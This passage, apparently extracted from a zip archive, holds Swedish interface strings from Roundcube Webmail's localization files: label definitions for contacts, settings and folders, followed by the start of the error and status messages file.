$labels['yourmessage'] = 'Det här är ett mottagarkvitto för ditt meddelande';
$labels['receiptnote'] = 'Notera: Mottagarkvittot innebär bara att meddelandet visats på mottagarens dator. Därmed finns ingen garanti att mottagaren har läst och förstått meddelandet.';
$labels['sendalwaysto'] = 'Skicka alltid till $email';
$labels['zoomin'] = 'Zooma in';
$labels['zoomout'] = 'Zooma ut';
$labels['rotate'] = 'Rotera';
$labels['increaseimage'] = 'Öka bildstorlek';
$labels['decreaseimage'] = 'Minska bildstorlek';
$labels['rotateimage'] = 'Rotera bild';
$labels['showtools'] = 'Visa bildverktyg';
$labels['hidetools'] = 'Göm bildverktyg';
$labels['name'] = 'Namn';
$labels['firstname'] = 'Förnamn';
$labels['surname'] = 'Efternamn';
$labels['middlename'] = 'Mellannamn';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Smeknamn';
$labels['jobtitle'] = 'Titel';
$labels['department'] = 'Avdelning';
$labels['gender'] = 'Kön';
$labels['maidenname'] = 'Flicknamn';
$labels['email'] = 'Mailadress';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Postadress';
$labels['street'] = 'Gata';
$labels['locality'] = 'Ort';
$labels['zipcode'] = 'Postnummer';
$labels['region'] = 'Region';
$labels['country'] = 'Land';
$labels['birthday'] = 'Födelsedag';
$labels['anniversary'] = 'Årsdag';
$labels['website'] = 'Webbplats';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Anteckningar';
$labels['male'] = 'Man';
$labels['female'] = 'Kvinna';
$labels['manager'] = 'Chef';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Make/Maka';
$labels['allfields'] = 'Alla fält';
$labels['search'] = 'Sök';
$labels['searchresult'] = 'Sökresultat';
$labels['advsearch'] = 'Avancerad sökning';
$labels['advanced'] = 'Avancerad';
$labels['other'] = 'Annat';
$labels['printcontact'] = 'Skriv ut kontakt';
$labels['qrcode'] = 'QR-kod';
$labels['typehome'] = 'Hem';
$labels['typework'] = 'Arbete';
$labels['typeother'] = 'Annat';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Huvudsakligt';
$labels['typehomefax'] = 'Fax hem';
$labels['typeworkfax'] = 'Fax arbete';
$labels['typecar'] = 'Bil';
$labels['typepager'] = 'Personsökare';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Webbplats';
$labels['typeblog'] = 'Blogg';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Lägg till fält...';
$labels['addcontact'] = 'Lägg till kontakt';
$labels['editcontact'] = 'Ändra kontakt';
$labels['contacts'] = 'Kontakter';
$labels['contactproperties'] = 'Kontaktegenskaper';
$labels['contactnameandorg'] = 'Namn och organisation';
$labels['personalinfo'] = 'Personlig information';
$labels['personal'] = 'Personliga';
$labels['contactphoto'] = 'Kontaktfoto';
$labels['edit'] = 'Redigera';
$labels['cancel'] = 'Avbryt';
$labels['save'] = 'Spara';
$labels['delete'] = 'Ta bort';
$labels['discard'] = 'Förkasta';
$labels['continue'] = 'Fortsätt';
$labels['ok'] = 'OK';
$labels['rename'] = 'Ändra namn';
$labels['addphoto'] = 'Lägg till';
$labels['replacephoto'] = 'Ersätt';
$labels['uploadphoto'] = 'Ladda upp foto';
$labels['choosefile'] = 'Välj fil...';
$labels['choosefiles'] = 'Välj filer...';
$labels['browse'] = 'Bläddra';
$labels['newcontact'] = 'Ny kontakt';
$labels['deletecontact'] = 'Ta bort vald kontakt';
$labels['composeto'] = 'Nytt meddelande till';
$labels['contactsfromto'] = 'Kontakt $from till $to av $count';
$labels['print'] = 'Skriv ut';
$labels['export'] = 'Exportera';
$labels['exportall'] = 'Exportera alla';
$labels['exportsel'] = 'Exportera markerade';
$labels['exportvcards'] = 'Exportera kontakter';
$labels['newgroup'] = 'Ny grupp';
$labels['addgroup'] = 'Lägg till grupp';
$labels['grouprename'] = 'Ändra gruppnamn';
$labels['groupdelete'] = 'Ta bort grupp';
$labels['groupassign'] = 'Lägg in i grupp...';
$labels['groupremove'] = 'Ta bort från grupp';
$labels['groupremoveselected'] = 'Ta bort markerade kontakter från gruppen';
$labels['uponelevel'] = 'Upp en nivå';
$labels['previouspage'] = 'Visa föregående sida';
$labels['firstpage'] = 'Visa första sidan';
$labels['nextpage'] = 'Visa nästa sida';
$labels['lastpage'] = 'Visa sista sidan';
$labels['group'] = 'Grupp';
$labels['groups'] = 'Kontaktgrupper';
$labels['listgroup'] = 'Visa gruppmedlemmar';
$labels['personaladrbook'] = 'Personliga adresser';
$labels['searchsave'] = 'Spara sökning';
$labels['searchdelete'] = 'Ta bort sökning';
$labels['import'] = 'Importera';
$labels['importcontacts'] = 'Importera kontakter';
$labels['importfromfile'] = 'Importera från fil';
$labels['importtarget'] = 'Lägg till kontakter i';
$labels['importreplace'] = 'Ersätt samtliga kontakter i adressboken';
$labels['importgroups'] = 'Importera grupptillhörigheter';
$labels['importgroupsall'] = 'Alla (skapa grupper om nödvändigt)';
$labels['importgroupsexisting'] = 'Endast till befintliga grupper';
$labels['importdesc'] = 'Kontakter kan importeras från en befintlig adressbok.<br/>Programmet stödjer inläsning av kontakter i formatet <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> eller formatet CSV (kommaseparerad data).';
$labels['importmapdesc'] = 'Bekräfta att fältkopplingarna nedan är korrekta innan du fortsätter med importen av CSV-filen.';
$labels['fieldnotmapped'] = 'Fältet är inte kopplat (importeras inte)';
$labels['skipheader'] = 'Importera inte första raden (rubriker)';
$labels['done'] = 'Klart';
$labels['settingsfor'] = 'Inställningar för';
$labels['about'] = 'Om';
$labels['preferences'] = 'Inställningar';
$labels['userpreferences'] = 'Användarinställningar';
$labels['editpreferences'] = 'Ändra användarinställningar';
$labels['identities'] = 'Identiteter';
$labels['manageidentities'] = 'Hantera identiteter';
$labels['newidentity'] = 'Ny identitet';
$labels['addidentity'] = 'Lägg till identitet';
$labels['editidentity'] = 'Ändra identitet';
$labels['identityencryption'] = 'Kryptering';
$labels['preferhtml'] = 'Visa meddelanden i HTML-format';
$labels['defaultcharset'] = 'Förvald teckenkodning';
$labels['htmlmessage'] = 'HTML-meddelande';
$labels['messagepart'] = 'Del';
$labels['digitalsig'] = 'Digital signatur';
$labels['dateformat'] = 'Datumformat';
$labels['timeformat'] = 'Tidformat';
$labels['prettydate'] = 'Fina datum';
$labels['setdefault'] = 'Sätt som förval';
$labels['autodetect'] = 'Automatiskt';
$labels['language'] = 'Språk';
$labels['timezone'] = 'Tidszon';
$labels['pagesize'] = 'Rader per sida';
$labels['signature'] = 'Signatur';
$labels['dstactive'] = 'Sommartid';
$labels['showinextwin'] = 'Öppna i nytt fönster';
$labels['composeextwin'] = 'Skriv i nytt fönster';
$labels['htmleditor'] = 'Skriv meddelanden i HTML-format';
$labels['htmlonreply'] = 'Endast vid svar på meddelande i HTML-format';
$labels['htmlonreplyandforward'] = 'Vid svar på eller vidareskickande av meddelande i HTML-format';
$labels['htmlsignature'] = 'HTML-signatur';
$labels['showemail'] = 'Visa namn och adress';
$labels['previewpane'] = 'Visa meddelandefältet';
$labels['skin'] = 'Stilmall för användargränssnitt';
$labels['logoutclear'] = 'Töm Papperskorg vid utloggning';
$labels['logoutcompact'] = 'Packa Inkorg vid utloggning';
$labels['uisettings'] = 'Användargränssnitt';
$labels['serversettings'] = 'Serverinställningar';
$labels['mailboxview'] = 'Hantering av meddelanden';
$labels['mdnrequests'] = 'Skicka mottagarkvitton';
$labels['askuser'] = 'Fråga';
$labels['autosend'] = 'Automatiskt';
$labels['autosendknown'] = 'Skicka kvitto till mina kontakter, fråga för övriga';
$labels['autosendknownignore'] = 'Skicka kvitto till mina kontakter, ignorera övriga';
$labels['autosendtrusted'] = 'skicka kvitto till betrodda avsändare, annars fråga mig';
$labels['autosendtrustedignore'] = 'skicka kvitto till betrodda avsändare, annars ignorera';
$labels['ignorerequest'] = 'ignorera begäran';
$labels['readwhendeleted'] = 'Markera meddelande som läst vid borttagning';
$labels['flagfordeletion'] = 'Flagga meddelande för borttagning istället för att ta bort direkt';
$labels['skipdeleted'] = 'Visa inte borttagna meddelanden';
$labels['deletealways'] = 'Ta bort meddelande om flyttning till Papperskorg misslyckas';
$labels['deletejunk'] = 'Radera meddelanden i Skräp direkt';
$labels['showremoteimages'] = 'Visa externt länkade bilder i meddelande';
$labels['allowremoteresources'] = 'Tillåt externt länkade resurser (bilder, stilmallar)';
$labels['fromknownsenders'] = 'Från kända avsändare';
$labels['fromtrustedsenders'] = 'från betrodda avsändare';
$labels['frommycontacts'] = 'från mina kontakter';
$labels['always'] = 'Alltid';
$labels['alwaysbutplain'] = 'alltid, utom vid svar på textmeddelande';
$labels['showinlineimages'] = 'Visa bifogade bilder efter meddelande';
$labels['autosavedraft'] = 'Spara utkast med automatiskt intervall';
$labels['everynminutes'] = '$n min';
$labels['refreshinterval'] = 'Uppdatera (hämta nya meddelanden, o.s.v.)';
$labels['never'] = 'Aldrig';
$labels['immediately'] = 'Direkt';
$labels['messagesdisplaying'] = 'Visning av meddelanden';
$labels['messagescomposition'] = 'Redigering av meddelanden';
$labels['mimeparamfolding'] = 'Kodning av namn på bifogade filer';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (övriga)';
$labels['force7bit'] = 'Använd MIME-kodning för tecken med 8-bitar';
$labels['savelocalstorage'] = "Spara lokalt (tillfälligt)";
$labels['advancedoptions'] = 'Avancerade inställningar';
$labels['toggleadvancedoptions'] = 'Växla avancerade inställningar';
$labels['focusonnewmessage'] = 'Fokusera webbläsarens fönster vid nytt meddelande';
$labels['checkallfolders'] = 'Kontrollera alla mappar för nya meddelanden';
$labels['displaynext'] = 'Visa nästa i listan efter ta bort eller flytta';
$labels['defaultfont'] = 'Förvalt teckensnitt i HTML-meddelande';
$labels['mainoptions'] = 'Huvudalternativ';
$labels['browseroptions'] = 'Webbläsaralternativ';
$labels['section'] = 'Avdelning';
$labels['maintenance'] = 'Underhåll';
$labels['newmessage'] = 'Nytt meddelande';
$labels['signatureoptions'] = 'Signaturalternativ';
$labels['whenreplying'] = 'Vid svar';
$labels['replyempty'] = 'Inkludera inte ursprungligt meddelande';
$labels['replytopposting'] = 'Skriv nytt meddelande ovanför befintligt';
$labels['replytoppostingnoindent'] = 'Skriv nytt meddelande ovanför befintligt (utan indrag)';
$labels['replybottomposting'] = 'Skriv nytt meddelande nedanför befintligt';
$labels['replyremovesignature'] = 'Ta bort befintlig signatur från meddelandet vid svar';
$labels['autoaddsignature'] = 'Infoga signatur automatiskt';
$labels['newmessageonly'] = 'Vid nytt meddelande';
$labels['replyandforwardonly'] = 'Vid svar och vidareskickande';
$labels['insertsignature'] = 'Infoga signatur';
$labels['sigbelow'] = 'Placera signatur efter meddelandet';
$labels['sigseparator'] = 'Använd alltid avdelare enligt standard i signaturer';
$labels['automarkread'] = 'Markera meddelanden som lästa';
$labels['afternseconds'] = 'Efter $n sekunder';
$labels['reqmdn'] = 'Begär alltid mottagarkvitto';
$labels['reqdsn'] = 'Begär alltid leveransstatusmeddelande';
$labels['replysamefolder'] = 'Placera svar i samma mapp som besvarat meddelande';
$labels['defaultabook'] = 'Förvald adressbok';
$labels['autocompletesingle'] = 'Hoppa över alternativa adresser vid automatisk komplettering';
$labels['listnamedisplay'] = 'Lista kontakter med';
$labels['contactformmode'] = 'Kontaktformulär-läge';
$labels['privatemode'] = 'Privat (hem)';
$labels['businessmode'] = 'Företag (arbete)';
$labels['collectedaddresses'] = 'Samlade adresser';
$labels['collectedrecipients'] = 'Samlade mottagare';
$labels['collectedrecipientsopt'] = 'Lagra utgående mottagare i';
$labels['collectedsendersopt'] = 'Lagra betrodda avsändare i';
$labels['trustedsenders'] = 'Betrodda avsändare';
$labels['spellcheckbeforesend'] = 'Kontrollera stavning innan meddelanden skickas';
$labels['spellcheckoptions'] = 'Rättstavningsalternativ';
$labels['spellcheckignoresyms'] = 'Ignorera ord med symboler';
$labels['spellcheckignorenums'] = 'Ignorera ord med siffror';
$labels['spellcheckignorecaps'] = 'Ignorera ord med enbart stora bokstäver';
$labels['addtodict'] = 'Lägg till i ordlista';
$labels['mailtoprotohandler'] = 'Ange program för hantering av mailto-länkar';
$labels['standardwindows'] = 'Hantera popup-rutor som standardfönster';
$labels['forwardmode'] = 'Skicka meddelande vidare';
$labels['inline'] = 'Infogat';
$labels['asattachment'] = 'Bilaga';
$labels['replyallmode'] = 'Standardfunktion för knappen Svara alla';
$labels['replyalldefault'] = 'Svara alla';
$labels['replyalllist'] = 'Svara endast lista (i förekommande fall)';
$labels['allmessages'] = 'alla meddelanden';
$labels['olderxdays'] = 'äldre än $x dagar';
$labels['folder'] = 'Mapp';
$labels['folders'] = 'Mappar';
$labels['foldername'] = 'Mappnamn';
$labels['subscribed'] = 'Prenumererad';
$labels['messagecount'] = 'Meddelanden';
$labels['create'] = 'Skapa';
$labels['createfolder'] = 'Ny mapp';
$labels['managefolders'] = 'Hantera mappar';
$labels['specialfolders'] = 'Speciella mappar';
$labels['properties'] = 'Egenskaper';
$labels['folderproperties'] = 'Mappegenskaper';
$labels['parentfolder'] = 'Överliggande mapp';
$labels['location'] = 'Plats';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Klicka för att få mappstorlek';
$labels['changesubscription'] = 'Klicka för att ändra prenumeration';
$labels['foldertype'] = 'Mapptyp';
$labels['personalfolder'] = 'Privat mapp';
$labels['otherfolder'] = 'Annan användares mapp';
$labels['sharedfolder'] = 'Offentlig mapp';
$labels['findfolders'] = 'Hitta mappar';
$labels['findcontacts'] = 'Hitta kontakter';
$labels['findmail'] = 'Hitta meddelanden';
$labels['namespace.personal'] = 'Personliga';
$labels['namespace.other'] = 'Andra användares';
$labels['namespace.shared'] = 'Delade';
$labels['dualuselabel'] = 'Kan endast innehålla';
$labels['dualusemail'] = 'meddelanden';
$labels['dualusefolder'] = 'mappar';
$labels['generate'] = 'Skapa';
$labels['encryptioncreatekey'] = 'Nytt nyckelpar ';
$labels['openmailvelopesettings'] = 'Öppna inställningar för Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Du har $nr passande privata nycklar i din Mailvelope-nyckelring:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Avsändaridentiteten har ännu ingen privat PGP-nyckel lagrad i Mailvelope-tillägget. Vill du skapa en för att kunna skicka krypterade meddelanden?';
$labels['encryption'] = 'Kryptering';
$labels['mailvelopeoptions'] = 'Mailvelope-alternativ';
$labels['mailvelopemainkeyring'] = 'Använd Mailvelopes huvudnyckelring';
$labels['mailvelopenotfound'] = 'Mailvelope-tillägg är inte aktiverat/installerat i din webbläsare.';
$labels['sortby'] = 'Sortera på';
$labels['sortasc'] = 'Sortera stigande';
$labels['sortdesc'] = 'Sortera fallande';
$labels['undo'] = 'Ångra';
$labels['installedplugins'] = 'Installerade tillägg';
$labels['plugin'] = 'Tillägg';
$labels['version'] = 'Version';
$labels['source'] = 'Källkod';
$labels['destination'] = 'Destination';
$labels['license'] = 'Licens';
$labels['support'] = 'Hjälp';
$labels['savedsearches'] = 'Sparade sökningar';
$labels['dateformatY'] = 'ÅÅÅÅ';
$labels['dateformaty'] = 'ÅÅ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engelsk';
$labels['westerneuropean'] = 'Västeuropeisk';
$labels['easterneuropean'] = 'Östeuropeisk';
$labels['southeasterneuropean'] = 'Sydösteuropeisk';
$labels['baltic'] = 'Baltisk';
$labels['cyrillic'] = 'Kyrillisk';
$labels['arabic'] = 'Arabisk';
$labels['greek'] = 'Grekisk';
$labels['hebrew'] = 'Hebreisk';
$labels['turkish'] = 'Turkisk';
$labels['nordic'] = 'Skandinavisk';
$labels['thai'] = 'Thailändsk';
$labels['celtic'] = 'Keltisk';
$labels['vietnamese'] = 'Vietnamesisk';
$labels['japanese'] = 'Japansk';
$labels['korean'] = 'Koreansk';
$labels['chinese'] = 'Kinesisk';
$labels['arialabeltopnav'] = 'Fönsterkontroll';
$labels['arialabeltasknav'] = 'Programuppgifter';
$labels['arialabeltoolbar'] = 'Programmets verktygslist';
$labels['arialabellistnav'] = 'Listnavigering';
$labels['arialabelactivetask'] = 'Aktiv uppgift';
$labels['arialabelmessagessearchfilter'] = 'Meddelandelistningsfilter';
$labels['arialabelmailsearchform'] = 'Sökformulär för meddelande';
$labels['arialabelcontactsearchform'] = 'Sökformulär för kontakter';
$labels['arialabelmailquicksearchbox'] = 'Meddelandesökfält';
$labels['arialabelquicksearchbox'] = 'Sökfält';
$labels['arialabelfoldersearchfilter'] = 'Mapplistningsfilter';
$labels['arialabelfoldersearchform'] = 'Sökformulär för mappar';
$labels['arialabelfolderlist'] = 'Markering av meddelandemapp';
$labels['arialabelmessagelist'] = 'Meddelandelistning';
$labels['arialabelmailpreviewframe'] = 'Förhandsvisning av meddelande';
$labels['arialabelmailboxmenu'] = 'Mappåtgärdsmeny';
$labels['arialabellistselectmenu'] = 'Listmarkeringsmeny';
$labels['arialabelthreadselectmenu'] = 'Trådlistningsmeny';
$labels['arialabelmessagelistoptions'] = 'Alternativ för visning och sortering av meddelandelista';
$labels['arialabelmailimportdialog'] = 'Dialog för import av meddelande';
$labels['arialabelmessagenav'] = 'Meddelandenavigering';
$labels['arialabelmessagebody'] = 'Meddelandeinnehåll';
$labels['arialabelmessageactions'] = 'Meddelandehantering';
$labels['arialabelcontactquicksearch'] = 'Sökformulär för kontakter';
$labels['arialabelcontactsearchbox'] = 'Kontaktsökfält';
$labels['arialabelmessageheaders'] = 'Meddelandeinfo';
$labels['arialabelforwardingoptions'] = 'Alternativ för vidareskickande';
$labels['arialabelreplyalloptions'] = 'Alternativ för svara alla';
$labels['arialabelmoremessageactions'] = 'Ytterligare meddelandehantering';
$labels['arialabelmorecontactactions'] = 'Ytterligare kontakthantering';
$labels['arialabelmarkmessagesas'] = 'Markera markerat meddelande som...';
$labels['arialabelcomposeoptions'] = 'Skapandeinställningar';
$labels['arialabelresponsesmenu'] = 'Responsmeny';
$labels['arialabelattachmentuploadform'] = 'Uppladdningsformulär för bilaga';
$labels['arialabelattachmentmenu'] = 'Alternativ för bilagor';
$labels['arialabelmailtomenu'] = 'Adressalternativ';
$labels['arialabelattachmentpreview'] = 'Förhandsvisning av bilaga';
$labels['ariasummarycomposecontacts'] = 'Lista med kontakter och grupper att använda som mottagare';
$labels['arialabelcontactexportoptions'] = 'Exportalternativ för kontakter';
$labels['arialabelabookgroupoptions'] = 'Alternativ för adressbok/kontaktgrupp';
$labels['arialabelpreferencesform'] = 'Inställningsformulär';
$labels['arialabelidentityeditfrom'] = 'Ändringsformulär för identitet';
$labels['arialabelresponseeditfrom'] = 'Ändringsformulär för respons';
$labels['arialabelsearchterms'] = 'Sökord';
$labels['arialabeldropactionmenu'] = 'Dra-och-släpp-hanteringsmeny';
$labels['arialabelheadersmenu'] = 'Meny lägg till mottagare (meddelandeinfo)';
$labels['arialabelimagetools'] = 'Bildverktyg';
$labels['helplistnavigation'] = 'Listnavigering';
$labels['helplistkeyboardnavigation'] = "Piltangent upp/ner: Flytta radfokus/radmarkering.
Mellanslag: Välj fokuserad rad.
Shift + upp/ner: Välj ytterligare rad över/under.
Ctrl + mellanslag: Lägg till/ta bort fokuserad rad i markering.";
$labels['helplistkeyboardnavmessages'] = "Piltangent höger/vänster: visa/göm meddelandetråd (endast i trådvisningsläge).
Retur: Öppna markerat/fokuserat meddelande.
Backsteg: Flytta markerat meddelande till Papperskorg.";
$labels['helplistkeyboardnavcontacts'] = "Retur: Öppna markerad/fokuserad kontakt.";
PK
h�\�J���B�B'program/localization/sv_SE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ett fel uppstod!';
$messages['loginfailed']  = 'Inloggningen misslyckades';
$messages['cookiesdisabled'] = 'Webbläsaren accepterar inte cookies.';
$messages['sessionerror'] = 'Din inloggning är felaktig eller har gått ut';
$messages['cookiesmismatch'] = 'Något är fel med webbläsarens cookie. Rensa bort den för att kunna fortsätta.';
$messages['storageerror'] = 'Anslutning till lagringsservern misslyckades.';
$messages['servererror'] = 'Serverfel!';
$messages['servererrormsg'] = 'Serverfel: $msg';
$messages['accountlocked'] = 'För många felaktiga inloggningar. Försök igen senare.';
$messages['connerror'] = 'Anslutningsfel (misslyckades att kontakta servern)!';
$messages['dberror'] = 'Databasfel!';
$messages['dbconnerror'] = 'Anslutning till serverns databas misslyckades!';
$messages['windowopenerror'] = 'Popup-fönstret blockerades!';
$messages['requesttimedout'] = 'Begäran tog för lång tid';
$messages['errorreadonly'] = 'Åtgärden kunde inte utföras. Mappen är skrivskyddad.';
$messages['errornoperm'] = 'Åtgärden kunde inte utföras. Otillräcklig befogenhet.';
$messages['erroroverquota'] = 'Åtgärden kunde inte utföras. Otillräckligt lagringsutrymme.';
$messages['erroroverquotadelete'] = 'Otillräckligt lagringsutrymme. Tryck på SHIFT och DEL för att ta bort ett meddelande.';
$messages['invalidrequest'] = 'Ogiltig begäran! Informationen sparades inte.';
$messages['invalidhost'] = 'Ogiltigt servernamn.';
$messages['nomessagesfound'] = 'Inga meddelanden.';
$messages['loggedout'] = 'Du är utloggad. Välkommen åter!';
$messages['mailboxempty'] = 'Brevlådan är tom';
$messages['nomessages'] = 'Inga meddelanden';
$messages['refreshing'] = 'Uppdaterar...';
$messages['loading'] = 'Läser in...';
$messages['uploading'] = 'Överför fil...';
$messages['attaching'] = 'Bifogar fil...';
$messages['uploadingmany'] = 'Överför filer...';
$messages['loadingdata'] = 'Läser in data...';
$messages['checkingmail'] = 'Hämtar nya meddelanden...';
$messages['sendingmessage'] = 'Skickar meddelande...';
$messages['messagesent'] = 'Meddelandet har skickats.';
$messages['savingmessage'] = 'Sparar meddelande...';
$messages['messagesaved'] = 'Meddelandet har sparats i Utkast';
$messages['successfullysaved'] = 'Sparat.';
$messages['savingresponse'] = 'Sparar responstext...';
$messages['deleteresponseconfirm'] = 'Vill du verkligen ta bort denna responstext?';
$messages['nocontactselected'] = 'Ingen kontakt är vald ännu.';
$messages['addedsuccessfully'] = 'Kontakten har lagts till i adressboken.';
$messages['contactexists'] = 'En kontakt med den här adressen finns redan.';
$messages['contactnameexists'] = 'En kontakt med det här namnet finns redan.';
$messages['blockedimages'] = 'Externt länkade bilder i meddelandet har blockerats.';
$messages['blockedresources'] = 'Externt länkade resurser i meddelandet har blockerats.';
$messages['suspiciousemail'] = 'Meddelandet innehåller mailadresser som kan vara försök till bedrägeri.';
$messages['bccemail'] = 'Vidarebefordrat meddelande innehåller dolda mottagare (Bcc).';
$messages['bouncehint'] = 'Meddelandet kommer att skickas utan modifieringar, dvs med ursprungligt innehåll, meddelandehuvud och ursprungliga mottagare.';
$messages['encryptedmessage'] = 'Meddelandet är krypterat och kan tyvärr inte visas.';
$messages['externalmessagedecryption'] = 'Meddelandet är krypterat och kan visas med ett tillägg i webbläsaren.';
$messages['nopubkeyfor'] = 'Ingen giltig offentlig nyckel hittades för $email';
$messages['nopubkeyforsender'] = 'Ingen giltig offentlig nyckel hittades för din avsändaradress. Vill du kryptera meddelandet enbart för mottagaren?';
$messages['encryptnoattachments'] = 'Redan uppladdade bilagor kan inte krypteras. Lägg till bilagorna i krypteringsredigeraren istället.';
$messages['searchpubkeyservers'] = 'Ska saknade nycklar sökas i offentliga nyckelservrar?';
$messages['encryptpubkeysfound'] = 'Följande offentliga nycklar hittades:';
$messages['keyservererror'] = 'Nyckeln kunde inte hämtas från nyckelservern.';
$messages['keyimportsuccess'] = 'Offentlig nyckel $key är tillagd i din nyckelring.';
$messages['nocontactsfound'] = 'Inga kontakter hittades.';
$messages['contactnotfound'] = 'Efterfrågad kontakt hittades inte.';
$messages['contactsearchonly'] = 'Ange sökord för att hitta kontakter i vald adressbok.';
$messages['sendingfailed'] = 'Meddelandet kunde inte skickas.';
$messages['senttooquickly'] = 'Vänta ytterligare $sec sekunder med att skicka meddelandet.';
$messages['errorsavingsent'] = 'Det skickade meddelandet kunde inte sparas.';
$messages['errorsaving'] = 'Meddelandet kunde inte sparas.';
$messages['errormoving'] = 'Meddelandet kunde inte flyttas.';
$messages['errorcopying'] = 'Meddelandet kunde inte kopieras.';
$messages['errordeleting'] = 'Meddelandet kunde inte tas bort.';
$messages['errormarking'] = 'Meddelandet kunde inte markeras.';
$messages['alerttitle'] = 'Uppmärksamhet';
$messages['confirmationtitle'] = 'Är du säker...';
$messages['deletecontactconfirm']  = 'Vill du verkligen ta bort valda kontakter?';
$messages['deletegroupconfirm']  = 'Vill du verkligen ta bort den valda gruppen?';
$messages['deletemessagesconfirm'] = 'Vill du verkligen ta bort valda meddelanden?';
$messages['deletefolderconfirm']  = 'Vill du verkligen ta bort den här mappen?';
$messages['movefolderconfirm']  = 'Vill du verkligen flytta den här mappen?';
$messages['purgefolderconfirm']  = 'Vill du verkligen ta bort alla meddelanden i den här mappen?';
$messages['contactdeleting'] = 'Tar bort kontakt...';
$messages['groupdeleting'] = 'Tar bort grupp...';
$messages['folderdeleting'] = 'Tar bort mapp...';
$messages['foldermoving'] = 'Flyttar mapp...';
$messages['foldersubscribing'] = 'Startar prenumeration på mapp...';
$messages['folderunsubscribing'] = 'Avslutar prenumeration på mapp...';
$messages['formincomplete'] = 'Formuläret var inte komplett ifyllt.';
$messages['noemailwarning'] = 'Ange en giltig adress.';
$messages['nonamewarning']  = 'Ange ett namn.';
$messages['nopagesizewarning'] = 'Ange en sidstorlek.';
$messages['nosenderwarning'] = 'Ange en avsändaradress.';
$messages['recipientsadded'] = 'Mottagare tillagda.';
$messages['norecipientwarning'] = 'Ange minst en mottagare.';
$messages['disclosedrecipwarning'] = 'Alla mottagare kommer att kunna se varandras adresser. Undvik detta genom att ange adresserna i fältet Dold kopia istället.';
$messages['disclosedreciptitle'] = 'Alltför många mottagaradresser';
$messages['nosubjectwarning']  = 'Ämnesraden är tom. Vill du ange ett ämne nu?';
$messages['nosubjecttitle']  = 'Inget ämne';
$messages['nobodywarning'] = 'Skicka det här meddelandet utan text?';
$messages['notsentwarning'] = 'Meddelandet har inte skickats ännu men har ändringar som inte är sparade. Vill du strunta i ändringarna?';
$messages['restoresavedcomposedata'] = 'Ett tidigare skrivet men inte skickat meddelande upptäcktes.\n\nÄmne: $subject\nSparat: $date\n\nVill du återskapa meddelandet?';
$messages['nosearchname'] = 'Ange ett kontaktnamn eller en adress.';
$messages['notuploadedwarning'] = 'Alla bilagor har inte överförts ännu. Vänta eller avbryt överföringen.';
$messages['searchsuccessful'] = '$nr meddelanden hittades.';
$messages['contactsearchsuccessful'] = '$nr kontakter hittades.';
$messages['searchnomatch'] = 'Sökningen gav inget resultat.';
$messages['searching'] = 'Söker...';
$messages['checking'] = 'Kontrollerar...';
$messages['stillsearching'] = 'Söker fortfarande...';
$messages['nospellerrors'] = 'Inget stavfel hittades.';
$messages['folderdeleted'] = 'Mappen togs bort.';
$messages['foldersubscribed'] = 'Prenumeration på mapp startad.';
$messages['folderunsubscribed'] = 'Prenumeration på mapp avslutad.';
$messages['folderpurged'] = 'Mappen är tömd.';
$messages['folderexpunged'] = 'Mappen är rensad.';
$messages['deletedsuccessfully'] = 'Borttaget.';
$messages['converting'] = 'Tar bort formatering...';
$messages['messageopenerror'] = 'Meddelandet kunde inte hämtas från servern.';
$messages['filelinkerror'] = 'Filen kunde inte bifogas.';
$messages['fileuploaderror'] = 'Filuppladdning misslyckades.';
$messages['csvfilemismatch'] = 'Import av flera CSV-filer med olika fält stöds inte.';
$messages['filesizeerror'] = 'Den uppladdade filens storlek överstiger högsta tillåtna $size.';
$messages['filecounterror'] = 'Högst $count filer kan laddas upp samtidigt.';
$messages['msgsizeerror'] = 'Filen kunde inte bifogas. Största tillåtna storlek ($size) överskreds.';
$messages['msgsizeerrorfwd'] = 'Tillåten storlek på meddelandet ($size) är överskriden. $num meddelanden har inte bifogats.';
$messages['copysuccess'] = '$nr kontakter har kopierats.';
$messages['movesuccess'] = '$nr kontakter har flyttats.';
$messages['copyerror'] = 'Några kontakter kunde inte kopieras.';
$messages['moveerror'] = 'Några kontakter kunde inte flyttas.';
$messages['sourceisreadonly'] = 'Denna adresskälla är skrivskyddad.';
$messages['errorsavingcontact'] = 'Kontaktadressen kunde inte sparas.';
$messages['movingmessage'] = 'Flyttar meddelande...';
$messages['copyingmessage'] = 'Kopierar meddelande...';
$messages['copyingcontact'] = 'Kopierar kontakter...';
$messages['movingcontact'] = 'Flyttar kontakter...';
$messages['deletingmessage'] = 'Tar bort meddelande...';
$messages['markingmessage'] = 'Markerar meddelande...';
$messages['addingmember'] = 'Lägger till kontakter i gruppen...';
$messages['removingmember'] = 'Tar bort kontakter från gruppen...';
$messages['receiptsent'] = 'Mottagarkvitto har skickats.';
$messages['errorsendingreceipt'] = 'Mottagarkvitto kunde inte skickas.';
$messages['deleteidentityconfirm'] = 'Vill du verkligen ta bort denna identitet?';
$messages['nodeletelastidentity'] = 'Du kan inte ta bort identiteten, den är din sista.';
